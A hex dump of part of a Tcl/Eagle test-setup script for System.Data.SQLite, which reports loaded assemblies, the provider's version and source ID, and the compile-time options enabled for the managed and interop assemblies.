"/System.Data.SQ 20eb0 4c 69 74 65 2e 64 6c 6c 5c 22 2e 2e 2e 20 5c 22 Lite.dll\"... \" 20ec0 22 20 5b 66 69 6c 65 20 76 65 72 73 69 6f 6e 20 " [file version 20ed0 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 20ee0 20 20 20 5b 67 65 74 42 69 6e 61 72 79 46 69 6c [getBinaryFil 20ef0 65 4e 61 6d 65 20 53 79 73 74 65 6d 2e 44 61 74 eName System.Dat 20f00 61 2e 53 51 4c 69 74 65 2e 64 6c 6c 20 24 61 72 a.SQLite.dll $ar 20f10 63 68 69 74 65 63 74 75 72 65 5d 5d 20 5c 0d 0a chitecture]] \.. 20f20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20f30 5c 22 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 \"\n].. 20f40 20 7d 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d }.. }... 20f50 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 20f60 20 20 20 20 23 20 4e 4f 54 45 3a 20 47 72 61 62 # NOTE: Grab 20f70 20 74 68 65 20 6c 69 73 74 20 6f 66 20 6d 61 6e the list of man 20f80 61 67 65 64 20 61 73 73 65 6d 62 6c 69 65 73 20 aged assemblies 20f90 66 6f 72 20 74 68 65 20 63 75 72 72 65 6e 74 20 for the current 20fa0 70 72 6f 63 65 73 73 0d 0a 20 20 20 20 20 20 20 process.. 20fb0 20 23 20 20 20 20 20 20 20 61 6e 64 20 72 65 70 # and rep 20fc0 6f 72 74 20 6f 6e 20 74 68 65 20 53 79 73 74 65 ort on the Syste 20fd0 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 20 72 65 m.Data.SQLite re 20fe0 6c 61 74 65 64 20 6f 6e 65 73 2e 0d 0a 20 20 20 lated ones... 20ff0 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 #.. 21000 69 66 20 7b 5b 68 61 76 65 53 51 4c 69 74 65 4f if {[haveSQLiteO 21010 62 6a 65 63 74 43 6f 6d 6d 61 6e 64 5d 7d 20 74 bjectCommand]} t 21020 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 hen {.. 21030 20 73 65 74 20 61 73 73 65 6d 62 6c 69 65 73 20 set assemblies 21040 5b 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 20 41 [object invoke A 21050 70 70 44 6f 6d 61 69 6e 2e 43 75 72 72 65 6e 74 ppDomain.Current 21060 44 6f 6d 61 69 6e 20 47 65 74 41 73 73 65 6d 62 Domain GetAssemb 21070 6c 69 65 73 5d 0d 0a 0d 0a 20 20 20 20 20 20 20 lies].... 21080 20 20 20 6f 62 6a 65 63 74 20 66 6f 72 65 61 63 object foreac 21090 68 20 61 73 73 65 6d 62 6c 79 20 24 61 73 73 65 h assembly$asse 210a0 6d 62 6c 69 65 73 20 7b 0d 0a 20 20 20 20 20 20 mblies {.. 210b0 20 20 20 20 20 20 69 66 20 7b 5b 73 74 72 69 6e if {[strin 210c0 67 20 6d 61 74 63 68 20 5c 7b 53 79 73 74 65 6d g match \{System 210d0 2e 44 61 74 61 2e 53 51 4c 69 74 65 2a 20 24 61 .Data.SQLite* $a 210e0 73 73 65 6d 62 6c 79 5d 7d 20 74 68 65 6e 20 7b ssembly]} then { 210f0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 21100 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 68 tputs$::test_ch 21110 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 72 67 annel [appendArg 21120 73 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 s \.. 21130 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 66 6f 75 "---- fou 21140 6e 64 20 6c 6f 61 64 65 64 20 61 73 73 65 6d 62 nd loaded assemb 21150 6c 79 3a 20 22 20 24 61 73 73 65 6d 62 6c 79 20 ly: " $assembly 21160 5c 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 20 \n].. 21170 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 0d }.. }. 21180 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 . }.... 21190 20 20 20 20 20 20 63 61 74 63 68 20 7b 0d 0a 20 catch {.. 211a0 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 24 tputs$ 211b0 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 5c ::test_channel \ 211c0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 .. 211d0 22 2d 2d 2d 2d 20 64 65 66 69 6e 65 20 63 6f 6e "---- define con 211e0 73 74 61 6e 74 73 20 66 6f 72 20 5c 22 53 79 73 stants for \"Sys 211f0 74 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 5c tem.Data.SQLite\ 21200 22 2e 2e 2e 20 22 0d 0a 0d 0a 20 20 20 20 20 20 "... ".... 21210 20 20 20 20 69 66 20 7b 5b 63 61 74 63 68 20 7b if {[catch { 21220 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6f 62 .. ob 21230 6a 65 63 74 20 69 6e 76 6f 6b 65 20 2d 66 6c 61 ject invoke -fla 21240 67 73 20 2b 4e 6f 6e 50 75 62 6c 69 63 20 5c 0d gs +NonPublic \. 21250 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 . 21260 20 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 4c System.Data.SQL 21270 69 74 65 2e 53 51 4c 69 74 65 33 20 44 65 66 69 ite.SQLite3 Defi 21280 6e 65 43 6f 6e 73 74 61 6e 74 73 0d 0a 20 20 20 neConstants.. 21290 20 20 20 20 20 20 20 7d 20 64 65 66 69 6e 65 43 } defineC 212a0 6f 6e 73 74 61 6e 74 73 5d 20 3d 3d 20 30 7d 20 onstants] == 0} 212b0 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 then {.. 212c0 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 tputs $::tes 212d0 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e t_channel [appen 212e0 64 41 72 67 73 20 5b 66 6f 72 6d 61 74 4c 69 73 dArgs [formatLis 212f0 74 20 5b 6c 73 6f 72 74 20 5c 0d 0a 20 20 20 20 t [lsort \.. 21300 20 20 20 20 20 20 20 20 20 20 20 20 24 64 65 66$def 21310 69 6e 65 43 6f 6e 73 74 61 6e 74 73 5d 20 3c 6e ineConstants] <n 21320 6f 6e 65 3e 5d 20 5c 6e 5d 0d 0a 20 20 20 20 20 one>] \n].. 21330 20 20 20 20 20 7d 20 65 6c 73 65 20 7b 0d 0a 20 } else {.. 21340 20 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 tputs 21350 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c $::test_channel 21360 20 75 6e 6b 6e 6f 77 6e 5c 6e 0d 0a 20 20 20 20 unknown\n.. 21370 20 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 }.. 21380 20 7d 0d 0a 0d 0a 20 20 20 20 20 20 20 20 63 61 }.... ca 21390 74 63 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 tch {.. 213a0 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f 63 tputs$::test_c 213b0 68 61 6e 6e 65 6c 20 5c 0d 0a 20 20 20 20 20 20 hannel \.. 213c0 20 20 20 20 20 20 20 20 22 2d 2d 2d 2d 20 73 6f "---- so 213d0 75 72 63 65 20 76 65 72 73 69 6f 6e 20 6f 66 20 urce version of 213e0 5c 22 53 79 73 74 65 6d 2e 44 61 74 61 2e 53 51 \"System.Data.SQ 213f0 4c 69 74 65 2e 64 6c 6c 5c 22 2e 2e 2e 20 22 0d Lite.dll\"... ". 21400 0a 0d 0a 20 20 20 20 20 20 20 20 20 20 69 66 20 ... if 21410 7b 5b 63 61 74 63 68 20 7b 0d 0a 20 20 20 20 20 {[catch {.. 21420 20 20 20 20 20 20 20 6f 62 6a 65 63 74 20 69 6e object in 21430 76 6f 6b 65 20 2d 66 6c 61 67 73 20 2b 4e 6f 6e voke -flags +Non 21440 50 75 62 6c 69 63 20 5c 0d 0a 20 20 20 20 20 20 Public \.. 21450 20 20 20 20 20 20 20 20 20 20 53 79 73 74 65 6d System 21460 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 53 51 4c .Data.SQLite.SQL 21470 69 74 65 43 6f 6e 6e 65 63 74 69 6f 6e 20 50 72 iteConnection Pr 21480 6f 76 69 64 65 72 56 65 72 73 69 6f 6e 0d 0a 20 oviderVersion.. 21490 20 20 20 20 20 20 20 20 20 7d 20 76 65 72 73 69 } versi 214a0 6f 6e 5d 20 3d 3d 20 30 7d 20 74 68 65 6e 20 7b on] == 0} then { 214b0 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 69 66 .. if 214c0 20 7b 5b 73 74 72 69 6e 67 20 6c 65 6e 67 74 68 {[string length 214d0 20 24 76 65 72 73 69 6f 6e 5d 20 3d 3d 20 30 7d $version] == 0} 214e0 20 74 68 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 then {.. 214f0 20 20 20 20 20 20 20 73 65 74 20 76 65 72 73 69 set versi 21500 6f 6e 20 6e 75 6c 6c 0d 0a 20 20 20 20 20 20 20 on null.. 21510 20 20 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 }.. 21520 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 tputs$::tes 21530 74 5f 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e t_channel [appen 21540 64 41 72 67 73 20 24 76 65 72 73 69 6f 6e 20 5c dArgs $version \ 21550 6e 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 20 n].. } 21560 65 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 else {.. 21570 20 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 tputs$::tes 21580 74 5f 63 68 61 6e 6e 65 6c 20 75 6e 6b 6e 6f 77 t_channel unknow 21590 6e 5c 6e 0d 0a 20 20 20 20 20 20 20 20 20 20 7d n\n.. } 215a0 0d 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 .. }.... 215b0 20 20 20 20 20 20 20 63 61 74 63 68 20 7b 0d 0a catch {.. 215c0 20 20 20 20 20 20 20 20 20 20 74 70 75 74 73 20 tputs 215d0 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 20 $::test_channel 215e0 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 20 \.. 215f0 20 22 2d 2d 2d 2d 20 73 6f 75 72 63 65 20 63 68 "---- source ch 21600 65 63 6b 6f 75 74 20 6f 66 20 5c 22 53 79 73 74 eckout of \"Syst 21610 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 2e 64 em.Data.SQLite.d 21620 6c 6c 5c 22 2e 2e 2e 20 22 0d 0a 0d 0a 20 20 20 ll\"... ".... 21630 20 20 20 20 20 20 20 69 66 20 7b 5b 63 61 74 63 if {[catc 21640 68 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 h {.. 21650 20 6f 62 6a 65 63 74 20 69 6e 76 6f 6b 65 20 2d object invoke - 21660 66 6c 61 67 73 20 2b 4e 6f 6e 50 75 62 6c 69 63 flags +NonPublic 21670 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 \.. 21680 20 20 20 20 53 79 73 74 65 6d 2e 44 61 74 61 2e System.Data. 21690 53 51 4c 69 74 65 2e 53 51 4c 69 74 65 43 6f 6e SQLite.SQLiteCon 216a0 6e 65 63 74 69 6f 6e 20 50 72 6f 76 69 64 65 72 nection Provider 216b0 53 6f 75 72 63 65 49 64 0d 0a 20 20 20 20 20 20 SourceId.. 216c0 20 20 20 20 7d 20 73 6f 75 72 63 65 49 64 5d 20 } sourceId] 216d0 3d 3d 20 30 7d 20 74 68 65 6e 20 7b 0d 0a 20 20 == 0} then {.. 216e0 20 20 20 20 20 20 20 20 20 20 69 66 20 7b 5b 73 if {[s 216f0 74 72 69 6e 67 20 6c 65 6e 67 74 68 20 24 73 6f tring length$so 21700 75 72 63 65 49 64 5d 20 3d 3d 20 30 7d 20 74 68 urceId] == 0} th 21710 65 6e 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 en {.. 21720 20 20 20 20 73 65 74 20 73 6f 75 72 63 65 49 64 set sourceId 21730 20 6e 75 6c 6c 0d 0a 20 20 20 20 20 20 20 20 20 null.. 21740 20 20 20 7d 0d 0a 20 20 20 20 20 20 20 20 20 20 }.. 21750 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 5f tputs $::test_ 21760 63 68 61 6e 6e 65 6c 20 5b 61 70 70 65 6e 64 41 channel [appendA 21770 72 67 73 20 24 73 6f 75 72 63 65 49 64 20 5c 6e rgs$sourceId \n 21780 5d 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 20 65 ].. } e 21790 6c 73 65 20 7b 0d 0a 20 20 20 20 20 20 20 20 20 lse {.. 217a0 20 20 20 74 70 75 74 73 20 24 3a 3a 74 65 73 74 tputs $::test 217b0 5f 63 68 61 6e 6e 65 6c 20 75 6e 6b 6e 6f 77 6e _channel unknown 217c0 5c 6e 0d 0a 20 20 20 20 20 20 20 20 20 20 7d 0d \n.. }. 217d0 0a 20 20 20 20 20 20 20 20 7d 0d 0a 0d 0a 20 20 . }.... 217e0 20 20 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 #.. 217f0 20 23 20 4e 4f 54 45 3a 20 43 68 65 63 6b 20 74 # NOTE: Check t 21800 68 65 20 61 76 61 69 6c 61 62 6c 65 20 62 75 69 he available bui 21810 6c 64 73 20 28 61 6e 64 20 22 72 65 6c 65 61 73 lds (and "releas 21820 65 73 22 29 20 6f 66 20 53 51 4c 69 74 65 20 61 es") of SQLite a 21830 6e 64 0d 0a 20 20 20 20 20 20 20 20 23 20 20 20 nd.. # 21840 20 20 20 20 53 79 73 74 65 6d 2e 44 61 74 61 2e System.Data. 21850 53 51 4c 69 74 65 2e 0d 0a 20 20 20 20 20 20 20 SQLite... 21860 20 23 0d 0a 20 20 20 20 20 20 20 20 63 68 65 63 #.. chec 21870 6b 46 6f 72 53 51 4c 69 74 65 42 75 69 6c 64 73 kForSQLiteBuilds 21880 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c$::test_channel 21890 0d 0a 20 20 20 20 20 20 20 20 63 68 65 63 6b 46 .. checkF 218a0 6f 72 53 51 4c 69 74 65 52 65 6c 65 61 73 65 73 orSQLiteReleases 218b0 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c $::test_channel 218c0 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 .... #.. 218d0 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 4e # NOTE: N 218e0 6f 77 2c 20 77 65 20 6e 65 65 64 20 74 6f 20 6b ow, we need to k 218f0 6e 6f 77 20 69 66 20 74 68 65 20 53 51 4c 69 74 now if the SQLit 21900 65 20 63 6f 72 65 20 6c 69 62 72 61 72 79 20 69 e core library i 21910 73 20 61 76 61 69 6c 61 62 6c 65 0d 0a 20 20 20 s available.. 21920 20 20 20 20 20 23 20 20 20 20 20 20 20 28 69 2e # (i. 21930 65 2e 20 62 65 63 61 75 73 65 20 74 68 65 20 6d e. because the m 21940 61 6e 61 67 65 64 2d 6f 6e 6c 79 20 53 79 73 74 anaged-only Syst 21950 65 6d 2e 44 61 74 61 2e 53 51 4c 69 74 65 20 61 em.Data.SQLite a 21960 73 73 65 6d 62 6c 79 20 63 61 6e 0d 0a 20 20 20 ssembly can.. 21970 20 20 20 20 20 23 20 20 20 20 20 20 20 6c 6f 61 # loa 21980 64 20 77 69 74 68 6f 75 74 20 69 74 3b 20 68 6f d without it; ho 21990 77 65 76 65 72 2c 20 69 74 20 63 61 6e 6e 6f 74 wever, it cannot 219a0 20 64 6f 20 61 6e 79 74 68 69 6e 67 20 75 73 65 do anything use 219b0 66 75 6c 20 77 69 74 68 6f 75 74 0d 0a 20 20 20 ful without.. 219c0 20 20 20 20 20 23 20 20 20 20 20 20 20 69 74 29 # it) 219d0 2e 20 20 49 66 20 77 65 20 61 72 65 20 75 73 69 . If we are usi 219e0 6e 67 20 74 68 65 20 6d 69 78 65 64 2d 6d 6f 64 ng the mixed-mod 219f0 65 20 61 73 73 65 6d 62 6c 79 20 61 6e 64 20 77 e assembly and w 21a00 65 20 61 6c 72 65 61 64 79 0d 0a 20 20 20 20 20 e already.. 21a10 20 20 20 23 20 20 20 20 20 20 20 66 6f 75 6e 64 # found 21a20 20 69 74 20 28 61 62 6f 76 65 29 2c 20 74 68 69 it (above), thi 21a30 73 20 73 68 6f 75 6c 64 20 61 6c 77 61 79 73 20 s should always 21a40 73 75 63 63 65 65 64 2e 0d 0a 20 20 20 20 20 20 succeed... 21a50 20 20 23 0d 0a 20 20 20 20 20 20 20 20 63 68 65 #.. che 21a60 63 6b 46 6f 72 53 51 4c 69 74 65 4c 69 62 72 61 ckForSQLiteLibra 21a70 72 79 20 24 3a 3a 74 65 73 74 5f 63 68 61 6e 6e ry$::test_chann 21a80 65 6c 0d 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d el.... #. 21a90 0a 20 20 20 20 20 20 20 20 23 20 4e 4f 54 45 3a . # NOTE: 21aa0 20 43 68 65 63 6b 20 69 66 20 74 68 65 20 53 51 Check if the SQ 21ab0 4c 69 74 65 20 69 6e 74 65 72 6f 70 20 61 73 73 Lite interop ass 21ac0 65 6d 62 6c 79 20 69 73 20 61 76 61 69 6c 61 62 embly is availab 21ad0 6c 65 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a le... #.. 21ae0 20 20 20 20 20 20 20 20 63 68 65 63 6b 46 6f 72 checkFor 21af0 53 51 4c 69 74 65 49 6e 74 65 72 6f 70 20 24 3a SQLiteInterop $: 21b00 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 0d 0a 0d :test_channel... 21b10 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 20 . #.. 21b20 20 20 20 20 23 20 4e 4f 54 45 3a 20 43 68 65 63 # NOTE: Chec 21b30 6b 20 74 68 65 20 53 51 4c 69 74 65 20 64 61 74 k the SQLite dat 21b40 61 62 61 73 65 20 61 6e 64 20 74 65 6d 70 6f 72 abase and tempor 21b50 61 72 79 20 64 69 72 65 63 74 6f 72 69 65 73 2e ary directories. 21b60 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. 21b70 20 20 20 20 20 63 68 65 63 6b 46 6f 72 53 51 4c checkForSQL 21b80 69 74 65 44 69 72 65 63 74 6f 72 69 65 73 20 24 iteDirectories$ 21b90 3a 3a 74 65 73 74 5f 63 68 61 6e 6e 65 6c 0d 0a ::test_channel.. 21ba0 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 20 .. #.. 21bb0 20 20 20 20 20 23 20 4e 4f 54 45 3a 20 41 74 74 # NOTE: Att 21bc0 65 6d 70 74 20 74 6f 20 64 65 74 65 72 6d 69 6e empt to determin 21bd0 65 20 69 66 20 76 61 72 69 6f 75 73 20 63 6f 6d e if various com 21be0 70 69 6c 65 2d 74 69 6d 65 20 6f 70 74 69 6f 6e pile-time option 21bf0 73 20 6e 65 65 64 65 64 20 66 6f 72 0d 0a 20 20 s needed for.. 21c00 20 20 20 20 20 20 23 20 20 20 20 20 20 20 74 65 # te 21c10 73 74 20 63 6f 6e 73 74 72 61 69 6e 74 73 20 77 st constraints w 21c20 65 72 65 20 65 6e 61 62 6c 65 64 20 66 6f 72 20 ere enabled for 21c30 74 68 65 20 6d 61 6e 61 67 65 64 20 61 73 73 65 the managed asse 21c40 6d 62 6c 79 2e 20 20 54 68 65 72 65 0d 0a 20 20 mbly. There.. 21c50 20 20 20 20 20 20 23 20 20 20 20 20 20 20 61 72 # ar 21c60 65 20 73 6f 6d 65 20 63 6f 6d 70 69 6c 65 2d 74 e some compile-t 21c70 69 6d 65 20 6f 70 74 69 6f 6e 73 20 74 68 61 74 ime options that 21c80 20 6d 75 73 74 20 61 6c 73 6f 20 68 61 76 65 20 must also have 21c90 62 65 65 6e 20 65 6e 61 62 6c 65 64 0d 0a 20 20 been enabled.. 21ca0 20 20 20 20 20 20 23 20 20 20 20 20 20 20 66 6f # fo 21cb0 72 20 74 68 65 20 69 6e 74 65 72 6f 70 20 61 73 r the interop as 21cc0 73 65 6d 62 6c 79 20 69 6e 20 6f 72 64 65 72 20 sembly in order 21cd0 74 6f 20 62 65 20 65 66 66 65 63 74 69 76 65 2e to be effective. 21ce0 20 20 46 6f 72 20 74 68 6f 73 65 0d 0a 20 20 20 For those.. 21cf0 20 20 20 20 20 23 20 20 20 20 20 20 20 6f 70 74 # opt 21d00 69 6f 6e 73 2c 20 69 74 20 77 69 6c 6c 20 62 65 ions, it will be 21d10 20 61 73 73 75 6d 65 64 20 74 68 61 74 20 69 74 assumed that it 21d20 20 77 61 73 20 65 6e 61 62 6c 65 64 20 66 6f 72 was enabled for 21d30 20 74 68 65 20 69 6e 74 65 72 6f 70 0d 0a 20 20 the interop.. 21d40 20 20 20 20 20 20 23 20 20 20 20 20 20 20 61 73 # as 21d50 73 65 6d 62 6c 79 20 69 66 20 69 74 20 77 61 73 sembly if it was 21d60 20 65 6e 61 62 6c 65 64 20 66 6f 72 20 74 68 65 enabled for the 21d70 20 6d 61 6e 61 67 65 64 20 61 73 73 65 6d 62 6c managed assembl 21d80 79 2e 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 y... #.. 21d90 20 20 20 20 20 20 20 66 6f 72 65 61 63 68 20 64 foreach d 21da0 65 66 69 6e 65 43 6f 6e 73 74 61 6e 74 20 5b 6c efineConstant [l 21db0 69 73 74 20 5c 0d 0a 20 20 20 20 20 20 20 20 20 ist \.. 21dc0 20 20 20 43 48 45 43 4b 5f 53 54 41 54 45 20 43 CHECK_STATE C 21dd0 4f 55 4e 54 5f 48 41 4e 44 4c 45 20 44 45 42 55 OUNT_HANDLE DEBU 21de0 47 20 49 4e 54 45 52 4f 50 5f 43 4f 44 45 43 20 G INTEROP_CODEC 21df0 49 4e 54 45 52 4f 50 5f 44 45 42 55 47 20 5c 0d INTEROP_DEBUG \. 21e00 0a 20 20 20 20 20 20 20 20 20 20 20 20 49 4e 54 . INT 21e10 45 52 4f 50 5f 45 58 54 45 4e 53 49 4f 4e 5f 46 EROP_EXTENSION_F 21e20 55 4e 43 54 49 4f 4e 53 20 49 4e 54 45 52 4f 50 UNCTIONS INTEROP 21e30 5f 46 54 53 35 5f 45 58 54 45 4e 53 49 4f 4e 20 _FTS5_EXTENSION 21e40 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 49 \.. I 21e50 4e 54 45 52 4f 50 5f 49 4e 43 4c 55 44 45 5f 43 NTEROP_INCLUDE_C 21e60 45 52 4f 44 20 49 4e 54 45 52 4f 50 5f 49 4e 43 EROD INTEROP_INC 21e70 4c 55 44 45 5f 45 58 54 52 41 20 49 4e 54 45 52 LUDE_EXTRA INTER 21e80 4f 50 5f 49 4e 43 4c 55 44 45 5f 53 45 45 20 5c OP_INCLUDE_SEE \ 21e90 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 49 4e .. IN 21ea0 54 45 52 4f 50 5f 49 4e 43 4c 55 44 45 5f 5a 49 TEROP_INCLUDE_ZI 21eb0 50 56 46 53 20 49 4e 54 45 52 4f 50 5f 4a 53 4f PVFS INTEROP_JSO 21ec0 4e 31 5f 45 58 54 45 4e 53 49 4f 4e 20 5c 0d 0a N1_EXTENSION \.. 21ed0 20 20 20 20 20 20 20 20 20 20 20 20 49 4e 54 45 INTE 21ee0 52 4f 50 5f 4c 45 47 41 43 59 5f 43 4c 4f 53 45 ROP_LEGACY_CLOSE 21ef0 20 49 4e 54 45 52 4f 50 5f 4c 4f 47 20 49 4e 54 INTEROP_LOG INT 21f00 45 52 4f 50 5f 50 45 52 43 45 4e 54 49 4c 45 5f EROP_PERCENTILE_ 21f10 45 58 54 45 4e 53 49 4f 4e 20 5c 0d 0a 20 20 20 EXTENSION \.. 21f20 20 20 20 20 20 20 20 20 20 49 4e 54 45 52 4f 50 INTEROP 21f30 5f 52 45 47 45 58 50 5f 45 58 54 45 4e 53 49 4f _REGEXP_EXTENSIO 21f40 4e 20 49 4e 54 45 52 4f 50 5f 54 45 53 54 5f 45 N INTEROP_TEST_E 21f50 58 54 45 4e 53 49 4f 4e 20 5c 0d 0a 20 20 20 20 XTENSION \.. 21f60 20 20 20 20 20 20 20 20 49 4e 54 45 52 4f 50 5f INTEROP_ 21f70 54 4f 54 59 50 45 5f 45 58 54 45 4e 53 49 4f 4e TOTYPE_EXTENSION 21f80 20 49 4e 54 45 52 4f 50 5f 56 49 52 54 55 41 4c INTEROP_VIRTUAL 21f90 5f 54 41 42 4c 45 20 4e 45 54 5f 32 30 20 4e 45 _TABLE NET_20 NE 21fa0 54 5f 33 35 20 5c 0d 0a 20 20 20 20 20 20 20 20 T_35 \.. 21fb0 20 20 20 20 4e 45 54 5f 34 30 20 4e 45 54 5f 34 NET_40 NET_4 21fc0 35 20 4e 45 54 5f 34 35 31 20 4e 45 54 5f 34 35 5 NET_451 NET_45 21fd0 32 20 4e 45 54 5f 34 36 20 4e 45 54 5f 34 36 31 2 NET_46 NET_461 21fe0 20 4e 45 54 5f 43 4f 4d 50 41 43 54 5f 32 30 20 NET_COMPACT_20 21ff0 5c 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 50 \.. P 22000 4c 41 54 46 4f 52 4d 5f 43 4f 4d 50 41 43 54 46 LATFORM_COMPACTF 22010 52 41 4d 45 57 4f 52 4b 20 50 52 45 4c 4f 41 44 RAMEWORK PRELOAD 22020 5f 4e 41 54 49 56 45 5f 4c 49 42 52 41 52 59 20 _NATIVE_LIBRARY 22030 52 45 54 41 52 47 45 54 41 42 4c 45 20 5c 0d 0a RETARGETABLE \.. 22040 20 20 20 20 20 20 20 20 20 20 20 20 53 51 4c 49 SQLI 22050 54 45 5f 53 54 41 4e 44 41 52 44 20 53 51 4c 49 TE_STANDARD SQLI 22060 54 45 5f 53 54 41 4e 44 41 52 44 5f 4c 49 42 52 TE_STANDARD_LIBR 22070 41 52 59 5f 4e 41 4d 45 20 54 48 52 4f 57 5f 4f ARY_NAME THROW_O 22080 4e 5f 44 49 53 50 4f 53 45 44 20 5c 0d 0a 20 20 N_DISPOSED \.. 22090 20 20 20 20 20 20 20 20 20 20 54 52 41 43 45 20 TRACE 220a0 54 52 41 43 45 5f 43 4f 4e 4e 45 43 54 49 4f 4e TRACE_CONNECTION 220b0 20 54 52 41 43 45 5f 44 45 54 45 43 54 49 4f 4e TRACE_DETECTION 220c0 20 54 52 41 43 45 5f 48 41 4e 44 4c 45 20 54 52 TRACE_HANDLE TR 220d0 41 43 45 5f 50 52 45 4c 4f 41 44 20 5c 0d 0a 20 ACE_PRELOAD \.. 220e0 20 20 20 20 20 20 20 20 20 20 20 54 52 41 43 45 TRACE 220f0 5f 53 48 41 52 45 44 20 54 52 41 43 45 5f 53 54 _SHARED TRACE_ST 22100 41 54 45 4d 45 4e 54 20 54 52 41 43 45 5f 57 41 ATEMENT TRACE_WA 22110 52 4e 49 4e 47 20 54 52 41 43 4b 5f 4d 45 4d 4f RNING TRACK_MEMO 22120 52 59 5f 42 59 54 45 53 20 5c 0d 0a 20 20 20 20 RY_BYTES \.. 22130 20 20 20 20 20 20 20 20 55 53 45 5f 45 4e 54 49 USE_ENTI 22140 54 59 5f 46 52 41 4d 45 57 4f 52 4b 5f 36 20 55 TY_FRAMEWORK_6 U 22150 53 45 5f 49 4e 54 45 52 4f 50 5f 44 4c 4c 20 55 SE_INTEROP_DLL U 22160 53 45 5f 50 52 45 50 41 52 45 5f 56 32 20 57 49 SE_PREPARE_V2 WI 22170 4e 44 4f 57 53 5d 20 7b 0d 0a 20 20 20 20 20 20 NDOWS] {.. 22180 20 20 20 20 23 0d 0a 20 20 20 20 20 20 20 20 20 #.. 22190 20 23 20 4e 4f 54 45 3a 20 43 68 65 63 6b 20 69 # NOTE: Check i 221a0 66 20 74 68 65 20 63 6f 6d 70 69 6c 65 2d 74 69 f the compile-ti 221b0 6d 65 20 6f 70 74 69 6f 6e 20 69 73 20 6c 69 73 me option is lis 221c0 74 65 64 20 69 6e 20 74 68 65 20 6c 69 73 74 20 ted in the list 221d0 6f 66 0d 0a 20 20 20 20 20 20 20 20 20 20 23 20 of.. # 221e0 20 20 20 20 20 20 22 64 65 66 69 6e 65 20 63 6f "define co 221f0 6e 73 74 61 6e 74 73 22 20 6b 65 70 74 20 74 72 nstants" kept tr 22200 61 63 6b 20 6f 66 20 62 79 20 74 68 65 20 6d 61 ack of by the ma 22210 6e 61 67 65 64 20 61 73 73 65 6d 62 6c 79 2e 0d naged assembly.. 22220 0a 20 20 20 20 20 20 20 20 20 20 23 0d 0a 20 20 . #.. 22230 20 20 20 20 20 20 20 20 63 68 65 63 6b 46 6f 72 checkFor 22240 53 51 4c 69 74 65 44 65 66 69 6e 65 43 6f 6e 73 SQLiteDefineCons 22250 74 61 6e 74 20 24 3a 3a 74 65 73 74 5f 63 68 61 tant $::test_cha 22260 6e 6e 65 6c 20 24 64 65 66 69 6e 65 43 6f 6e 73 nnel$defineCons 22270 74 61 6e 74 0d 0a 20 20 20 20 20 20 20 20 7d 0d tant.. }. 22280 0a 0d 0a 20 20 20 20 20 20 20 20 23 0d 0a 20 20 